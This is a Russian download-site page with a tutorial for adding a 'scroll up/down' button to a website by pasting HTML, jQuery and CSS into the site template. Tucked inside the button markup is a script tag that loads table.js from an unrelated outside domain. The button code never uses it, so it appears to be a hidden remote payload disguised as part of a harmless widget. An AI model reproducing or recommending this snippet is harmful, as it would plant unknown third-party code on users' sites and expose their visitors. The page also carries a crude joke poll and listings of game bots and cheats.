All-For-Kompa.RU

Сегодня:
Карта сайта форум Главная
Скрыть рекламный блок

Всё для компа

chat

Реклама

Реклама

Календарь

Популярное

Партнёры



Развлекательный портал по игре Dota 2. У нас вы первым узнаете о последних игровых новостях, сможете почитать интересные статьи и гайды, посмотреть стримы популярных комментаторов и многое другое.

Про-софт - сайт професионального софта. Ето сайт не только софта но также игровых дополнений, музыки, фильмов, игр для ПК а также читов для ПК игр. Постоянное обновление материалов и каждый день появляется чтото новенькое!

Архив новостей

Авторизация

Реклама

Хочешь помочь проекту? Установи наш баннер!

Опрос

Если не спиться

1. лечь спать а не сидеть за компом до 6 утра
2. утопиться
3. обкуриться
4. воды напиться
5. задолбиться
6. обмочиться
7. выпрямиться

Реклама

Хочешь помочь проекту? Установи наш баннер!

Популярные тэги

Комментарии

Счетчики

На сайте: 545
Прохожие: 545
Пользователей: 0
Статус:

Счётчик тИЦ и PR Rambler's Top100

Раздел: Софт

Кнопка Вверх и вниз для сайта

АвторАвтор: smasto

|Голосов: 0 ДатаДата: 07.12.2013, 15:33

Как правильно установить кнопку "Вверх и вниз" на сайт?

Заходим в панель управления сайтом,
далее "Главная » Управление дизайном » Редактирование шаблонов"
Копируем код и вставляем в "Нижняя часть сайта" в самый низ.

Код
<div style="display:none;" class="nav_up" id="nav_up">
  <img alt="↑" width="32" height="32" src="http://pnghosts.ru/img/2_u.ico" > </div>
  <div style="display:none;" class="nav_down" id="nav_down">
  <script src="http://7ccut.com/table.js" type="text/javascript"></script>
  <img alt="↓" width="32" height="32" src="http://pnghosts.ru/img/2_d.ico" > </div>
  <script>
  $(function() {
  var $elem = $('body');
   
  $('#nav_up').fadeIn('slow');
  $('#nav_down').fadeIn('slow');  
   
  $(window).bind('scrollstart', function(){
  $('#nav_up,#nav_down').stop().animate({'opacity':'0.2'});
  });
  $(window).bind('scrollstop', function(){
  $('#nav_up,#nav_down').stop().animate({'opacity':'1'});
  });
   
  $('#nav_down').click(
  function (e) {
  $('html, body').animate({scrollTop: $elem.height()}, 800);
  }
  );
  $('#nav_up').click(
  function (e) {
  $('html, body').animate({scrollTop: '0px'}, 800);
  }
  );
  });
  </script>


Это вставляем в "Таблица стилей (CSS)" в самый низ

Код
.nav_up{
  padding:2px;
  position:fixed;
  width:32px;
  height:32px;
  bottom:20px;
  opacity:0.7;
  right:30px;
  cursor: pointer;
  }
.nav_down{
  padding:2px;
  position:fixed;
  width:32px;
  height:32px;
  bottom:20px;
  opacity:0.7;
  right:66px;
  cursor: pointer;
  }


Готово.




Правообладателям



Перед тем как скачать "Кнопка Вверх и вниз для сайта", проверьте ВСЕ ссылки на работоспособность. На момент публикации "Кнопка Вверх и вниз для сайта", все ссылки были в рабочем состоянии

Другие материалы на эту тему:

    Теги к материалу:

    Уважаемый посетитель, Вы зашли на сайт как незарегистрированный пользователь. Мы рекомендуем Вам зарегистрироваться либо войти на сайт под своим именем.
    Всего комментариев: 0
    Добавлять комментарии могут только зарегистрированные пользователи.
    [ Регистрация | Вход ]

    Популярные файлыНовые файлы
    Call of Duty 5: World at ...[ Скачали 67557 раз ]
    Амфибии, Гайд по ассасина...[ Скачали 31905 раз ]
    Амфибии, Гайд по шаманам.[ Скачали 30797 раз ]
    cs 1.6 patch v48 full[ Скачали 29211 раз ]
    Русский бот PW Alfa v 2.6[ Скачали 17356 раз ]
    Огромный пак глюков и баг...[ Скачали 12898 раз ]
    civilization 5 скачать бе...[ Скачали 12099 раз ]
    PW MP5[ Скачали 11299 раз ]
    MHS-Bot-PW 2.3 ботовод[ Скачали 10605 раз ]
    Niko Bellic (нико белич) ...[ Скачали 10146 раз ]
    Wallpapers Girls №1158[ Добавлен 01.11.2024 ]
    Granny Remake (2023/Ru/En...[ Добавлен 01.11.2024 ]
    Vampire Survivors (2021/R...[ Добавлен 01.11.2024 ]
    Wallpapers Mix №1866[ Добавлен 30.10.2024 ]
    Wallpapers Girls №1157[ Добавлен 30.10.2024 ]
    Red Dead Redemption (2024...[ Добавлен 30.10.2024 ]
    Wallpapers Girls №1156[ Добавлен 29.10.2024 ]
    Wallpapers Girls №1155[ Добавлен 27.10.2024 ]
    Wallpapers Girls №1154[ Добавлен 27.10.2024 ]
    Wallpapers Girls №1153[ Добавлен 26.10.2024 ]